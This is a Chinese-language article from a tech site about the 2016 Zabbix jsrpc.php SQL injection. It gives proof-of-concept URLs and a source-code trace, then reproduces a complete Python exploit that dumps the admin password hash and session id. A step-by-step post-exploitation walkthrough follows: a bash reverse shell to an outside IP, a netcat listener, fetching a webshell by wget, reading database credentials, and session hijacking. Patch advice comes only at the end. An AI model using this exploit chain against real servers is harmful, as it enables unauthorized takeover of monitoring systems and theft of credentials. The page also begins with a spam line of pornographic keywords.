自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

專家?guī)闾接慫abbix sql最新注入漏洞及其利用情況

原創(chuàng)
安全 黑客攻防 應(yīng)用安全
專家?guī)鷮崪yZabbix 漏洞,掌握其存在漏洞,其具體利用方法,了解其存在的危險。

   在企業(yè)和個人安全意識不斷增強,對有安全防護的企業(yè)來說,滲透比過去相對困難一些,而一些對硬件、資產(chǎn)等管理平臺仍然存在弱口令等漏洞,一旦通過這些漏洞打開入口,將對企業(yè)安全造成巨大的威脅。Zabbix 是用得非常廣泛的網(wǎng)絡(luò)監(jiān)測軟件,其存在sql注入,聲稱可以獲取管理員密碼,雖然Zabbix 3.0.3以下版本存在漏洞,但如何利用,如何測試,您掌握了嗎?本文帶您實測Zabbix 漏洞,掌握其存在漏洞,其具體利用方法,了解其存在的危險。在本文初稿完成后,筆者對美國、韓國、我國安裝有zabbix的服務(wù)器進行了安全測試,結(jié)果表明美國等西方國家,絕大部分服務(wù)器的zabbix漏洞已經(jīng)修復(fù),而我國在100臺服務(wù)器中高達60臺服務(wù)器未修護。在未修護的服務(wù)器中絕大部分已經(jīng)被人滲透過,最后希望通過本文,能加強大家對漏洞的風(fēng)險認識,盡自己的一點微薄之力。

  1. Zabbix sql注入漏洞漏洞簡介

  Zabbix 是一個開源的企業(yè)級性能監(jiān)控解決方案。近日,Zabbix 的jsrpc的profileIdx2參數(shù)存在insert方式的SQL注入漏洞,攻擊者無需授權(quán)登陸即可登陸Zabbix 管理系統(tǒng),也可通過script等功能輕易直接獲取Zabbix 服務(wù)器的操作系統(tǒng)權(quán)限。Zabbix 2.2.x, 3.0.0-3.0.3版本存在該漏洞,可能導(dǎo)致敏感數(shù)據(jù)泄漏、服務(wù)器被惡意攻擊者控制進而造成更多危害等,更多信息請訪問其官方網(wǎng)站為http://www.Zabbix .com獲取。

  2.漏洞原理與分析

  (1)高權(quán)限利用0day

  Zabbix 最新SQL注入漏洞于8月12日由安全研究員 1N3@CrowdShield 和 Brandon Perry 負責任地披露于 Full Disclosure(http://seclists.org/fulldisclosure/2016/Aug/82),其提供的poc為:

  http://www.antian365.com/latest.php?output=ajax&sid=&favobj=toggle&toggle_open_state=1&toggle_ids[]=15385); select * from users where (1=1

  如果出現(xiàn)以下類似結(jié)果,則表明存在漏洞,該POC的前提必須是具備高權(quán)限用戶。

  

  1. SQL (0.000361): INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (88, 1, 'web.latest.toggle''1', 2, 15385); 
  2. select * from users where (1=1) 
  3. latest.php:746 a require_once() a CProfile::flush() a CProfile::insertDB() a DBexecute() in /home/sasha/Zabbix -svn/branches/2.2/frontends/php/include/profiles.inc.php:185 

  Brandon Perry提供一個0day,經(jīng)測試效果不佳:  

  1. /Zabbix /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1 

  在關(guān)閉 display_errors 的環(huán)境下看不到效果,建議使用一個 sleep 函數(shù),如果頁面阻塞很久才返回,那說明漏洞是存在的,新的 PoC 如下:

  1. /Zabbix /jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471054088083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2-sleep(10)&updateProfile=true&screenitemid=&period=3600&stime=20170813040734&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1 

  (2)低權(quán)限利用0day可獲取管理員加盟密碼

  Zabbix 提供了以guest用戶權(quán)限登錄系統(tǒng),登錄系統(tǒng)后按照以下進行訪問:

  http://www.antian365.com/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=2'3297&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1

  http://www.antian365.com為目標站點,如果存在漏洞則會給出如下錯誤信息:  

  1. <div class="flickerfreescreen" id="flickerfreescreen_1" data-timestamp="1471403798083" style="position: relative;"></div><table class="msgerr" cellpadding="0" cellspacing="0" id="msg_messages" style="width: 100%;"><tr><td class="msg" colspan="1"><ul class="messages"><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (191, 2, 'web.item.graph.period', '3600', 2, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_str, type, idx2) VALUES (192, 2, 'web.item.graph.stime', '20160817050632', 3, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li><li class="error">Error in query [INSERT INTO profiles (profileid, userid, idx, value_int, type, idx2) VALUES (193, 2, 'web.item.graph.isnow', '0', 2, 1 or updatexml(1,md5(0x11),1) or 11=1)#)] [XPATH syntax error: 'ed733b8d10be225eceba344d533586']</li></ul></td></tr></table> 
 

  其中ed733b8d10be225eceba344d533586為管理員的密碼,經(jīng)過核實該密碼目前無法破解,且肯定不是管理員密碼,很多Zabbix 缺省配置Admin密碼Zabbix ,其md5密碼值為5fce1b3e34b520afeffb37ce08c7cd66,如圖1所示,Zabbix 實際md5值。而Guset用戶的密碼值為:d41d8cd98f00b204e9800998ecf8427e,也就是網(wǎng)上公開聲稱的可以獲取管理員的密碼那個0day的POC存在錯誤。

圖1 Zabbix 密碼解密

  (3)存在注入點分析

  在漏洞文件jsrpc.php中: 

  1. $requestType = getRequest('type', PAGE_TYPE_JSON); 
  2. if ($requestType == PAGE_TYPE_JSON) { 
  3. $http_request = new CHttpRequest(); 
  4. $json = new CJson(); 
  5. $data = $json->decode($http_request->body(), true); 
  6. else { 
  7. $data = $_REQUEST
  8. $page['title'] = 'RPC'
  9. $page['file'] = 'jsrpc.php'
  10. $page['type'] = detect_page_type($requestType); 
  11. require_once dirname(__FILE__).'/include/page_header.php'
  12. if (!is_array($data) || !isset($data['method']) 
  13. || ($requestType == PAGE_TYPE_JSON && (!isset($data['params']) || !is_array($data['params'])))) { 
  14. fatal_error('Wrong RPC call to JS RPC!'); 
  15. $result = []; 
  16. switch ($data['method']) { 
  17. ... 
  18. case 'screen.get'
  19. $result = ''
  20. $screenBase = CScreenBuilder::getScreen($data); 
  21. if ($screenBase !== null) { 
  22. $screen = $screenBase->get(); 
  23. if ($data['mode'] == SCREEN_MODE_JS) { 
  24. $result = $screen
  25. if (is_object($screen)) { 
  26. $result = $screen->toString(); 
  27. ... 
  28. require_once dirname(__FILE__).'/include/page_footer.php'

  通過類 CScreenBuilder 中的 getScreen 方法處理 $data 傳入的數(shù)據(jù)。繼續(xù)跟蹤 CScreenBuilder 類:  

  1. /** 
  2. * Init screen data. 
  3. * 
  4. * @param array$options 
  5. * @param boolean$options['isFlickerfree'] 
  6. * @param string$options['pageFile'] 
  7. * @param int$options['mode'] 
  8. * @param int$options['timestamp'] 
  9. * @param int$options['hostid'] 
  10. * @param int$options['period'] 
  11. * @param int$options['stime'] 
  12. * @param string$options['profileIdx'] 
  13. * @param int$options['profileIdx2'] 
  14. * @param boolean$options['updateProfile'] 
  15. * @param array$options['screen'] 
  16. */ 
  17. public function __construct(array $options = []) { 
  18. $this->isFlickerfree = isset($options['isFlickerfree']) ? $options['isFlickerfree'] : true; 
  19. $this->mode = isset($options['mode']) ? $options['mode'] : SCREEN_MODE_SLIDESHOW; 
  20. $this->timestamp = !emptyempty($options['timestamp']) ? $options['timestamp'] : time(); 
  21. $this->hostid = !emptyempty($options['hostid']) ? $options['hostid'] : null; 
  22. // get page file 
  23. if (!emptyempty($options['pageFile'])) { 
  24. $this->pageFile = $options['pageFile']; 
  25. else { 
  26. global $page
  27. $this->pageFile = $page['file']; 
  28. // get screen 
  29. if (!emptyempty($options['screen'])) { 
  30. $this->screen = $options['screen']; 
  31. elseif (array_key_exists('screenid'$options) && $options['screenid'] > 0) { 
  32. $this->screen = API::Screen()->get([ 
  33. 'screenids' => $options['screenid'], 
  34. 'output' => API_OUTPUT_EXTEND, 
  35. 'selectScreenItems' => API_OUTPUT_EXTEND, 
  36. 'editable' => ($this->mode == SCREEN_MODE_EDIT) 
  37. ]); 
  38. if (!emptyempty($this->screen)) { 
  39. $this->screen = reset($this->screen); 
  40. else { 
  41. access_deny(); 
  42. // calculate time 
  43. $this->profileIdx = !emptyempty($options['profileIdx']) ? $options['profileIdx'] : ''
  44. $this->profileIdx2 = !emptyempty($options['profileIdx2']) ? $options['profileIdx2'] : null; 
  45. $this->updateProfile = isset($options['updateProfile']) ? $options['updateProfile'] : true; 
  46. $this->timeline = CScreenBase::calculateTime([ 
  47. 'profileIdx' => $this->profileIdx, 
  48. 'profileIdx2' => $this->profileIdx2, 
  49. 'updateProfile' => $this->updateProfile, 
  50. 'period' => !emptyempty($options['period']) ? $options['period'] : null, 
  51. 'stime' => !emptyempty($options['stime']) ? $options['stime'] : null 
  52. ]); 

  CScreenBuilder 類對 $profiles 進行了更新,并且對 PoC 中的 profileIdx2 參數(shù)進行了賦值,但還沒有傳入數(shù)據(jù)庫查詢。

  漏洞文件 jsrpc.php 中引入了 page_footer.php, page_footer.php會調(diào)用Cprofile 類:

  1. if (CProfile::isModified()) { 
  2. DBstart(); 
  3. $result = CProfile::flush(); 
  4. DBend($result); 

  跟蹤 flush 函數(shù):

  1. public static function flush() { 
  2. $result = false; 
  3. if (self::$profiles !== null && self::$userDetails['userid'] > 0 && self::isModified()) { 
  4. $result = true; 
  5. foreach (self::$insert as $idx => $profile) { 
  6. foreach ($profile as $idx2 => $data) { 
  7. $result &= self::insertDB($idx$data['value'], $data['type'], $idx2); 
  8. ksort(self::$update); 
  9. foreach (self::$update as $idx => $profile) { 
  10. ksort($profile); 
  11. foreach ($profile as $idx2 => $data) { 
  12. $result &= self::updateDB($idx$data['value'], $data['type'], $idx2); 
  13. return $result
  14. ... 
  15. private static function insertDB($idx$value$type$idx2) { 
  16. $value_type = self::getFieldByType($type); 
  17. $values = [ 
  18. 'profileid' => get_dbid('profiles''profileid'), 
  19. 'userid' => self::$userDetails['userid'], 
  20. 'idx' => zbx_dbstr($idx), 
  21. $value_type => zbx_dbstr($value), 
  22. 'type' => $type
  23. 'idx2' => $idx2 
  24. ]; 

   //注入觸發(fā)點

  1. return DBexecute('INSERT INTO profiles ('.implode(', ', array_keys($values)).') VALUES ('.implode(', ', $values).')'); 

  至此,SQL注入產(chǎn)生 。

  (4)可供利用的exp

  在獨自等待的博客上面找到一個python的exp(http://www.waitalone.cn/Zabbix -sql-1.html)通過實際測試可以順利獲取管理員密碼以及session,如圖2所示,利用方法為: 

  1. python Zabbix .py http://114.111.111.1:81 

  

圖2 獲取Zabbix 管理員密碼

  將以下代碼保存為zabbix.py即可:  

  1. #!/usr/bin/env python 
  2. # -*- coding: gbk -*- 
  3. # -*- coding: utf_8 -*- 
  4. # Date: 2016/8/18 
  5. # Created by 獨自等待 
  6. # 博客 http://www.waitalone.cn/ 
  7. import urllib2 
  8. import sys, os 
  9. import re 
  10. def deteck_Sql(): 
  11.     u'檢查是否存在SQL注入' 
  12.     payload = "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1" 
  13.     try
  14.         response = urllib2.urlopen(url + payload, timeout=10).read() 
  15.     except Exception, msg: 
  16.         print msg 
  17.     else
  18.         key_reg = re.compile(r"INSERT\s*INTO\s*profiles"
  19.         if key_reg.findall(response): 
  20.             return True 
  21. def sql_Inject(sql): 
  22.     u'獲取特定sql語句內(nèi)容' 
  23.     payload = url + "jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get&timestamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=" + urllib2.quote( 
  24.         sql) + "&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1" 
  25.     try
  26.         response = urllib2.urlopen(payload, timeout=10).read() 
  27.     except Exception, msg: 
  28.         print msg 
  29.     else
  30.         result_reg = re.compile(r"Duplicate\s*entry\s*'~(.+?)~1"
  31.         results = result_reg.findall(response) 
  32.         if results: 
  33.             return results[0
  34. if __name__ == '__main__'
  35.     # os.system(['clear', 'cls'][os.name == 'nt']) 
  36.     print '+' + '-' * 60 + '+' 
  37.     print '\t   Python Zabbix<3.0.4 SQL注入 Exploit' 
  38.     print '\t    Blog:http://www.waitalone.cn/' 
  39.     print '\t\t   Code BY: 獨自等待' 
  40.     print '\t\t   Time:2016-08-18' 
  41.     print '+' + '-' * 60 + '+' 
  42.     if len(sys.argv) != 2
  43.         print '用法: ' + os.path.basename(sys.argv[0]) + ' Zabbix 網(wǎng)站地址' 
  44.         print '實例: ' + os.path.basename(sys.argv[0]) + ' http://www.waitalone.cn/' 
  45.         sys.exit() 
  46.     url = sys.argv[1
  47.     if url[-1] != '/': url += '/' 
  48.     passwd_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from  users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" 
  49.     session_sql = "(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)" 
  50.     if deteck_Sql(): 
  51.         print u'Zabbix 存在SQL注入漏洞!\n' 
  52.         print u'管理員  用戶名密碼:%s' % sql_Inject(passwd_sql) 
  53.         print u'管理員  Session_id:%s' % sql_Inject(session_sql) 
  54.     else
  55.         print u'Zabbix 不存在SQL注入漏洞!\n' 

  3.漏洞實際利用方法探討

  對Zabbix 漏洞的實際利用是指在獲取管理員密碼后,通過管理中心添加腳本,執(zhí)行腳本命令來獲取反彈shell,通過shell來提權(quán)或者執(zhí)行其它操作。

  (1)獲取管理員密碼

  Zabbix SQL注入漏洞可以很方便的獲取管理員的密碼,通過exp直接可以獲取管理員密碼,另外一種方法就是暴力破解,Zabbix 默認管理員賬號Admin/zabbix 、admin/zabbix 。Zabbix sql注入漏洞獲取管理員密碼exp下載地址http://www.antian365.com/forum.php?mod=viewthread&tid=629&extra=

  (2)創(chuàng)建腳本

  登錄系統(tǒng)后,單擊“管理”-“腳本”-“創(chuàng)建腳本”,如果是英文,則是Administration- Scripts-Create Scripts。如圖3所示。在名稱中隨便輸入一個,例如cat,在命令中輸入“bash -i >& /dev/tcp/122.11x.47.xx/4433 0>&1”,其中的122.11x.47.xx為監(jiān)聽的獨立IP的服務(wù)器。

圖3創(chuàng)建反彈腳本

  (3)執(zhí)行腳本命令

  在執(zhí)行腳本命令前,需要在監(jiān)聽服務(wù)器上使用“nc –vv –l –p 4433”監(jiān)聽4433端口,完畢后,在Zabbix 管理主界面,單擊“監(jiān)測中”,然后單擊主機列表下的服務(wù)器,右鍵彈出的菜單中選擇剛才創(chuàng)建的命令,如圖4所示,選擇剛才創(chuàng)建的腳本執(zhí)行即可,執(zhí)行成功后會成功獲取的反彈的shell,如圖5所示。

  圖4執(zhí)行命令

  圖5獲取反彈的shell

  (4)查看配置文件并獲取webshell

  獲取終端shell后,可以通過locate *.php或者find –name “.php”命令查找php文件所在具體位置,到該目錄后,如果可寫,則通過wget http://www.antian365.com/shell.txt命令下載webshell到本地,并執(zhí)行chmod +x shell.txt命令給shell.txt文件可執(zhí)行權(quán)限,最后將該文件重命名為php文件即可,如圖6所示,成功獲取webshell。

圖6獲取webshell

  如果網(wǎng)站當前用戶權(quán)限為root,則可以通過讀取conf/Zabbix .conf文件讀取配置文件內(nèi)容,如圖7所示,可以獲取數(shù)據(jù)庫用戶和密碼。

圖7讀取配置文件內(nèi)容

  (5)linux提權(quán)

  在實際測試過程中,有部分服務(wù)器是采用root賬號,絕大部分是Zabbix 賬號,也就是普通用戶,對于linux提權(quán),需要查看其相應(yīng)的內(nèi)核版本或者應(yīng)用程序存在漏洞,根據(jù)相應(yīng)的漏洞進行編譯和執(zhí)行,如果存在漏洞則可以獲取root權(quán)限,反之則無法提權(quán)。

  (6)在zabbix還可以通過sessionid進行登錄

  使用Tamper插件,開啟Tamper插件,在抓取到的包中,通過修改zbx_sessionid值為SQL注入獲取的sessionid值,提交即可進入后臺,如圖8,圖9所示。這種情況主要適合無法破解zabbix通過注入獲取到的md5密碼。

  圖8修改zbx_sessionid值

  圖9成功登錄后臺

  4.在線網(wǎng)站漏洞檢測

  (1)https://www.vulbox.com/lab

  (2)https://cloud.nsfocus.com/#/krosa/views/initcdr/productandservice?service_id=1026

  5、漏洞修復(fù)方案

  (1)將當前版本升級到最新版本,補丁更新ttps://support.Zabbix .com/browse/ZBX-11023

  (2)打補丁

  (3)關(guān)閉guest賬號,或者直接將guest賬號刪除。

責任編輯:周雪 來源: 51CTO.com
相關(guān)推薦

2025-01-02 14:21:20

2024-12-04 13:33:43

2015-02-10 13:24:27

CSRF漏洞CSRF

2023-05-06 11:05:50

2014-02-28 17:29:06

2017-05-02 09:02:14

2024-05-29 14:43:34

2009-11-02 13:47:09

2009-10-25 13:32:09

2021-09-16 09:05:45

SQL注入漏洞網(wǎng)絡(luò)攻擊

2010-10-22 15:18:18

SQL注入漏洞

2009-02-12 10:14:16

2013-12-20 09:46:56

Hadoop大數(shù)據(jù)數(shù)據(jù)處理

2017-08-09 17:09:47

2017-09-07 15:39:27

2015-03-23 12:26:49

2009-09-27 09:39:19

2013-11-18 09:44:02

2012-04-12 15:06:44

2009-10-23 13:08:23

點贊
收藏

51CTO技術(shù)棧公眾號